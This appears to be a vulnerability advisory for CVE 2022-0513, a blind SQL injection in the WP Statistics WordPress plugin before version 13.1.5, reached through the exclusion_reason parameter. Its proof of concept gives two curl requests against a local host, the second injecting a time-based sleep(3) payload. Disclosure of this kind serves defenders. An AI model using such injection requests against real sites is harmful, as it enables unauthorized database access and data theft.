WP Statistics < 13.1.5 – Unauthenticated Blind SQL Injection | CVE 2022-0513

Description

The plugin is vulnerable to unauthenticated SQL Injection via the exclusion_reason parameter due to missing parameterization and escaping in the SQL query found on line 88 of the /includes/class-wp-statistics-exclusion.php file when the Record Exclusions feature is enabled.

Proof of Concept

Step 1:
Insert "aaaa" into database.
$ time curl -k "http://127.0.0.1/wp-json/wp-statistics/v2/hit?_=1643294023&_wpnonce=9fdb60bc78&wp_statistics_hit_rest=yes&browser=&platform=&version=&referred=&ip=&exclusion_match=yes&exclusion_reason=aaaa&ua=&track_all=1&timestamp=1643294023&current_page_type=post&current_page_id=1&search_query&page_uri=/&user_id=0"

Step 2:
Delay 3 seconds with sleep(3).
$ time curl -k "http://127.0.0.1/wp-json/wp-statistics/v2/hit?_=1643294023&_wpnonce=9fdb60bc78&wp_statistics_hit_rest=yes&browser=&platform=&version=&referred=&ip=&exclusion_match=yes&exclusion_reason=aaaa'+and+sleep(3)='&ua=&track_all=1&timestamp=1643294023&current_page_type=post&current_page_id=1&search_query&page_uri=/&user_id=0"